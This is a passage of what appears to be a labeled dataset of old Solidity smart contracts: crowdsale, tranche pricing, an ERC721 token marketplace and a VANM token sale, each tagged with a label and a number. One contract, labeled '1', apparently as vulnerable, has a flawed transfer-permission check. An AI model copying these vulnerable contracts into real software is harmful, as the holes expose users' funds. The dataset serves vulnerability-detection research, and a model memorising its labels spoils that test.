function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 25 |
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract EthTranchePricing is PricingStrategy, Ownable {
using SafeMathLib for uint;
uint public constant MAX_TRANCHES = 10;
mapping (address => uint) public preicoAddresses;
struct Tranche {
uint amount;
uint price;
}
Tranche[10] public tranches;
uint public trancheCount;
function EthTranchePricing(uint[] _tranches) {
if(_tranches.length % 2 == 1 || _tranches.length >= MAX_TRANCHES*2) {
throw;
}
trancheCount = _tranches.length / 2;
uint highestAmount = 0;
for(uint i=0; i<_tranches.length/2; i++) {
tranches[i].amount = _tranches[i*2];
tranches[i].price = _tranches[i*2+1];
if((highestAmount != 0) && (tranches[i].amount <= highestAmount)) {
throw;
}
highestAmount = tranches[i].amount;
}
if(tranches[0].amount != 0) {
throw;
}
if(tranches[trancheCount-1].price != 0) {
throw;
}
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getTranche(uint n) public constant returns (uint, uint) {
return (tranches[n].amount, tranches[n].price);
}
function getFirstTranche() private constant returns (Tranche) {
return tranches[0];
}
function getLastTranche() private constant returns (Tranche) {
return tranches[trancheCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstTranche().amount;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastTranche().amount;
}
function isSane(address _crowdsale) public constant returns(bool) {
return true;
}
function getCurrentTranche(uint weiRaised) private constant returns (Tranche) {
uint i;
for(i=0; i < tranches.length; i++) {
if(weiRaised < tranches[i].amount) {
return tranches[i-1];
}
}
}
function getCurrentPrice(uint weiRaised) public constant returns (uint result) {
return getCurrentTranche(weiRaised).price;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
if(preicoAddresses[purchaser] > 0)
return true;
else
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return value.times(multiplier) / preicoAddresses[msgSender];
}
uint price = getCurrentPrice(weiRaised);
return value.times(multiplier) / price;
}
function() payable {
throw;
}
} | 0 | 658 |
pragma solidity ^0.4.21;
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC721 is ERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function approve(address _approved, uint256 _tokenId) external payable;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
interface ERC721Metadata {
function name() external pure returns (string _name);
function symbol() external pure returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
interface ERC721Enumerable {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
contract PublishInterfaces is ERC165 {
mapping(bytes4 => bool) internal supportedInterfaces;
function PublishInterfaces() internal {
supportedInterfaces[0x01ffc9a7] = true;
}
function supportsInterface(bytes4 interfaceID) external view returns (bool) {
return supportedInterfaces[interfaceID] && (interfaceID != 0xffffffff);
}
}
contract Metadata {
function getMetadata(uint256 _tokenId, string) public pure returns (bytes32[4] buffer, uint256 count) {
if (_tokenId == 1) {
buffer[0] = "Hello World! :D";
count = 15;
} else if (_tokenId == 2) {
buffer[0] = "I would definitely choose a medi";
buffer[1] = "um length string.";
count = 49;
} else if (_tokenId == 3) {
buffer[0] = "Lorem ipsum dolor sit amet, mi e";
buffer[1] = "st accumsan dapibus augue lorem,";
buffer[2] = " tristique vestibulum id, libero";
buffer[3] = " suscipit varius sapien aliquam.";
count = 128;
}
}
}
contract GanNFT is ERC165, ERC721, ERC721Enumerable, PublishInterfaces, Ownable {
function GanNFT() internal {
supportedInterfaces[0x80ac58cd] = true;
supportedInterfaces[0x5b5e139f] = true;
supportedInterfaces[0x780e9d63] = true;
supportedInterfaces[0x8153916a] = true;
}
bytes4 private constant ERC721_RECEIVED = bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
uint256 public claimPrice = 0;
uint256 public maxSupply = 300;
Metadata public erc721Metadata;
uint256[] public tokenIds;
mapping(uint256 => address) public tokenIdToOwner;
mapping(address => uint256) public ownershipCounts;
mapping(address => uint256[]) public ownerBank;
mapping(uint256 => address) public tokenApprovals;
mapping (address => mapping (address => bool)) internal operatorApprovals;
function name() external pure returns (string) {
return "GanToken";
}
function symbol() external pure returns (string) {
return "GT";
}
function setMetadataAddress(address _contractAddress) public onlyOwner {
erc721Metadata = Metadata(_contractAddress);
}
modifier canTransfer(uint256 _tokenId, address _from, address _to) {
address owner = tokenIdToOwner[_tokenId];
require(tokenApprovals[_tokenId] == _to || owner == _from || operatorApprovals[_to][_to]);
_;
}
modifier owns(uint256 _tokenId) {
require(tokenIdToOwner[_tokenId] == msg.sender);
_;
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function setMaxSupply(uint max) external payable onlyOwner {
require(max > tokenIds.length);
maxSupply = max;
}
function setClaimPrice(uint256 price) external payable onlyOwner {
claimPrice = price;
}
function balanceOf(address _owner) external view returns (uint256 balance) {
balance = ownershipCounts[_owner];
}
function ownerOf(uint256 _tokenId) external view returns (address owner) {
owner = tokenIdToOwner[_tokenId];
}
function tokensOfOwner(address _owner) external view returns (uint256[]) {
uint256 tokenCount = ownershipCounts[_owner];
if (tokenCount == 0) {
return new uint256[](0);
}
uint256[] memory result = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
result[i] = ownerBank[_owner][i];
}
return result;
}
function getAllTokenIds() external view returns (uint256[]) {
uint256[] memory result = new uint256[](tokenIds.length);
for (uint i = 0; i < result.length; i++) {
result[i] = tokenIds[i];
}
return result;
}
function newGanToken(uint256 _noise) external payable {
require(msg.sender != address(0));
require(tokenIdToOwner[_noise] == 0x0);
require(tokenIds.length < maxSupply);
require(msg.value >= claimPrice);
tokenIds.push(_noise);
ownerBank[msg.sender].push(_noise);
tokenIdToOwner[_noise] = msg.sender;
ownershipCounts[msg.sender]++;
emit Transfer(address(0), msg.sender, 0);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public payable
{
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public payable
{
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(address _from, address _to, uint256 _tokenId) external payable {
require(_to != 0x0);
require(_to != address(this));
require(tokenApprovals[_tokenId] == msg.sender);
require(tokenIdToOwner[_tokenId] == _from);
_transfer(_tokenId, _to);
}
function approve(address _to, uint256 _tokenId) external owns(_tokenId) payable {
tokenApprovals[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved) external {
operatorApprovals[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function getApproved(uint256 _tokenId) external view returns (address) {
return tokenApprovals[_tokenId];
}
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorApprovals[_owner][_operator];
}
function totalSupply() external view returns (uint256) {
return tokenIds.length;
}
function tokenByIndex(uint256 _index) external view returns (uint256) {
return tokenIds[_index];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 _tokenId) {
require(_owner != address(0));
require(_index < ownerBank[_owner].length);
_tokenId = ownerBank[_owner][_index];
}
function _transfer(uint256 _tokenId, address _to) internal {
require(_to != address(0));
address from = tokenIdToOwner[_tokenId];
uint256 tokenCount = ownershipCounts[from];
for (uint256 i = 0; i < tokenCount; i++) {
uint256 ownedId = ownerBank[from][i];
if (_tokenId == ownedId) {
delete ownerBank[from][i];
if (i != tokenCount) {
ownerBank[from][i] = ownerBank[from][tokenCount - 1];
}
break;
}
}
ownershipCounts[from]--;
ownershipCounts[_to]++;
ownerBank[_to].push(_tokenId);
tokenIdToOwner[_tokenId] = _to;
tokenApprovals[_tokenId] = address(0);
emit Transfer(from, _to, 1);
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
private
canTransfer(_tokenId, _from, _to)
{
address owner = tokenIdToOwner[_tokenId];
require(owner == _from);
require(_to != address(0));
require(_to != address(this));
_transfer(_tokenId, _to);
uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
require(retval == ERC721_RECEIVED);
}
function _memcpy(uint _dest, uint _src, uint _len) private pure {
for(; _len >= 32; _len -= 32) {
assembly {
mstore(_dest, mload(_src))
}
_dest += 32;
_src += 32;
}
uint256 mask = 256 ** (32 - _len) - 1;
assembly {
let srcpart := and(mload(_src), not(mask))
let destpart := and(mload(_dest), mask)
mstore(_dest, or(destpart, srcpart))
}
}
function _toString(bytes32[4] _rawBytes, uint256 _stringLength) private pure returns (string) {
string memory outputString = new string(_stringLength);
uint256 outputPtr;
uint256 bytesPtr;
assembly {
outputPtr := add(outputString, 32)
bytesPtr := _rawBytes
}
_memcpy(outputPtr, bytesPtr, _stringLength);
return outputString;
}
function tokenMetadata(uint256 _tokenId, string _preferredTransport) external view returns (string infoUrl) {
require(erc721Metadata != address(0));
uint256 count;
bytes32[4] memory buffer;
(buffer, count) = erc721Metadata.getMetadata(_tokenId, _preferredTransport);
return _toString(buffer, count);
}
}
contract GanTokenMain is GanNFT {
struct Offer {
bool isForSale;
uint256 tokenId;
address seller;
uint value;
address onlySellTo;
}
struct Bid {
bool hasBid;
uint256 tokenId;
address bidder;
uint value;
}
mapping(address => uint256) public pendingWithdrawals;
mapping(uint256 => Offer) public ganTokenOfferedForSale;
mapping(uint256 => Bid) public tokenBids;
event BidForGanTokenOffered(uint256 tokenId, uint256 value, address sender);
event BidWithdrawn(uint256 tokenId, uint256 value, address bidder);
event GanTokenOfferedForSale(uint256 tokenId, uint256 minSalePriceInWei, address onlySellTo);
event GanTokenNoLongerForSale(uint256 tokenId);
function ganTokenNoLongerForSale(uint256 tokenId) public payable owns(tokenId) {
ganTokenOfferedForSale[tokenId] = Offer(false, tokenId, msg.sender, 0, 0x0);
emit GanTokenNoLongerForSale(tokenId);
}
function offerGanTokenForSale(uint tokenId, uint256 minSalePriceInWei) external payable owns(tokenId) {
ganTokenOfferedForSale[tokenId] = Offer(true, tokenId, msg.sender, minSalePriceInWei, 0x0);
emit GanTokenOfferedForSale(tokenId, minSalePriceInWei, 0x0);
}
function offerGanTokenForSaleToAddress(uint tokenId, address sendTo, uint256 minSalePriceInWei) external payable {
require(tokenIdToOwner[tokenId] == msg.sender);
ganTokenOfferedForSale[tokenId] = Offer(true, tokenId, msg.sender, minSalePriceInWei, sendTo);
emit GanTokenOfferedForSale(tokenId, minSalePriceInWei, sendTo);
}
function buyGanToken(uint256 id) public payable {
Offer memory offer = ganTokenOfferedForSale[id];
require(offer.isForSale);
require(offer.onlySellTo == msg.sender && offer.onlySellTo != 0x0);
require(msg.value == offer.value);
require(tokenIdToOwner[id] == offer.seller);
safeTransferFrom(offer.seller, offer.onlySellTo, id);
ganTokenOfferedForSale[id] = Offer(false, id, offer.seller, 0, 0x0);
pendingWithdrawals[offer.seller] += msg.value;
}
function enterBidForGanToken(uint256 tokenId) external payable {
Bid memory existing = tokenBids[tokenId];
require(tokenIdToOwner[tokenId] != msg.sender);
require(tokenIdToOwner[tokenId] != 0x0);
require(msg.value > existing.value);
if (existing.value > 0) {
pendingWithdrawals[existing.bidder] += existing.value;
}
tokenBids[tokenId] = Bid(true, tokenId, msg.sender, msg.value);
emit BidForGanTokenOffered(tokenId, msg.value, msg.sender);
}
function acceptBid(uint256 tokenId, uint256 price) external payable {
require(tokenIdToOwner[tokenId] == msg.sender);
Bid memory bid = tokenBids[tokenId];
require(bid.value != 0);
require(bid.value == price);
safeTransferFrom(msg.sender, bid.bidder, tokenId);
tokenBids[tokenId] = Bid(false, tokenId, address(0), 0);
pendingWithdrawals[msg.sender] += bid.value;
}
function isOnSale(uint256 tokenId) external view returns (bool) {
return ganTokenOfferedForSale[tokenId].isForSale;
}
function getSaleData(uint256 tokenId) public view returns (bool isForSale, address seller, uint value, address onlySellTo) {
Offer memory offer = ganTokenOfferedForSale[tokenId];
isForSale = offer.isForSale;
seller = offer.seller;
value = offer.value;
onlySellTo = offer.onlySellTo;
}
function getBidData(uint256 tokenId) view public returns (bool hasBid, address bidder, uint value) {
Bid memory bid = tokenBids[tokenId];
hasBid = bid.hasBid;
bidder = bid.bidder;
value = bid.value;
}
function withdrawBid(uint256 tokenId) external payable {
Bid memory bid = tokenBids[tokenId];
require(tokenIdToOwner[tokenId] != msg.sender);
require(tokenIdToOwner[tokenId] != 0x0);
require(bid.bidder == msg.sender);
emit BidWithdrawn(tokenId, bid.value, msg.sender);
uint amount = bid.value;
tokenBids[tokenId] = Bid(false, tokenId, 0x0, 0);
msg.sender.transfer(amount);
}
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
} | 1 | 2,586 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract VANMToken is ERC20, Ownable {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 public _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
uint256 public presaleSupply;
address public presaleAddress;
uint256 public crowdsaleSupply;
address public crowdsaleAddress;
uint256 public platformSupply;
address public platformAddress;
uint256 public incentivisingSupply;
address public incentivisingAddress;
uint256 public teamSupply;
address public teamAddress;
uint256 public crowdsaleEndsAt;
uint256 public teamVestingPeriod;
bool public presaleFinalized = false;
bool public crowdsaleFinalized = false;
modifier onlyPresale() {
require(msg.sender == presaleAddress);
_;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsaleAddress);
_;
}
modifier notBeforeCrowdsaleEnds(){
require(block.timestamp >= crowdsaleEndsAt);
_;
}
modifier checkTeamVestingPeriod() {
require(block.timestamp >= teamVestingPeriod);
_;
}
event PresaleFinalized(uint tokensRemaining);
event CrowdsaleFinalized(uint tokensRemaining);
constructor() public {
symbol = "VANM";
name = "VANM";
decimals = 18;
_totalSupply = 240000000 * 10**uint256(decimals);
presaleSupply = 24000000 * 10**uint256(decimals);
crowdsaleSupply = 120000000 * 10**uint256(decimals);
platformSupply = 24000000 * 10**uint256(decimals);
incentivisingSupply = 48000000 * 10**uint256(decimals);
teamSupply = 24000000 * 10**uint256(decimals);
platformAddress = 0x6962371D5a9A229C735D936df5CE6C690e66b718;
teamAddress = 0xB9e54846da59C27eFFf06C3C08D5d108CF81FEae;
crowdsaleEndsAt = 1556668800;
teamVestingPeriod = crowdsaleEndsAt.add(2 * 365 * 1 days);
balances[platformAddress] = platformSupply;
emit Transfer(0x0, platformAddress, platformSupply);
balances[incentivisingAddress] = incentivisingSupply;
}
function setPresaleAddress(address _presaleAddress) external onlyOwner {
require(presaleAddress == 0x0);
presaleAddress = _presaleAddress;
balances[_presaleAddress] = balances[_presaleAddress].add(presaleSupply);
}
function finalizePresale() external onlyPresale {
require(presaleFinalized == false);
uint256 amount = balanceOf(presaleAddress);
if (amount > 0) {
balances[presaleAddress] = 0;
balances[crowdsaleAddress] = balances[crowdsaleAddress].add(amount);
}
presaleFinalized = true;
emit PresaleFinalized(amount);
}
function setCrowdsaleAddress(address _crowdsaleAddress) external onlyOwner {
require(presaleAddress != 0x0);
require(crowdsaleAddress == 0x0);
crowdsaleAddress = _crowdsaleAddress;
balances[_crowdsaleAddress] = balances[_crowdsaleAddress].add(crowdsaleSupply);
}
function finalizeCrowdsale() external onlyCrowdsale {
require(presaleFinalized == true && crowdsaleFinalized == false);
uint256 amount = balanceOf(crowdsaleAddress);
if (amount > 0) {
balances[crowdsaleAddress] = 0;
balances[platformAddress] = balances[platformAddress].add(amount);
emit Transfer(0x0, platformAddress, amount);
}
crowdsaleFinalized = true;
emit CrowdsaleFinalized(amount);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transfer(address _to, uint256 _value) public
notBeforeCrowdsaleEnds
returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public
notBeforeCrowdsaleEnds
returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transferFromIncentivising(address _to, uint256 _value) public
onlyOwner
returns (bool) {
require(_value <= balances[incentivisingAddress]);
balances[incentivisingAddress] = balances[incentivisingAddress].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(0x0, _to, _value);
return true;
}
function transferFromPresale(address _to, uint256 _value) public
onlyPresale
returns (bool) {
require(_value <= balances[presaleAddress]);
balances[presaleAddress] = balances[presaleAddress].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(0x0, _to, _value);
return true;
}
function transferFromCrowdsale(address _to, uint256 _value) public
onlyCrowdsale
returns (bool) {
require(_value <= balances[crowdsaleAddress]);
balances[crowdsaleAddress] = balances[crowdsaleAddress].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(0x0, _to, _value);
return true;
}
function releaseTeamTokens() public checkTeamVestingPeriod onlyOwner returns(bool) {
require(teamSupply > 0);
balances[teamAddress] = teamSupply;
emit Transfer(0x0, teamAddress, teamSupply);
teamSupply = 0;
return true;
}
function checkIncentivisingBalance() public view returns (uint256) {
return balances[incentivisingAddress];
}
function checkPresaleBalance() public view returns (uint256) {
return balances[presaleAddress];
}
function checkCrowdsaleBalance() public view returns (uint256) {
return balances[crowdsaleAddress];
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
function () public payable {
revert();
}
}
contract VANMPresale is Ownable {
using SafeMath for uint256;
uint256 public presaleStartsAt;
uint256 public presaleEndsAt;
uint256 public presaleRate;
uint256 public weiRaised;
address public presaleWallet;
address public tokenAddress;
VANMToken public token;
mapping(address => bool) public whitelist;
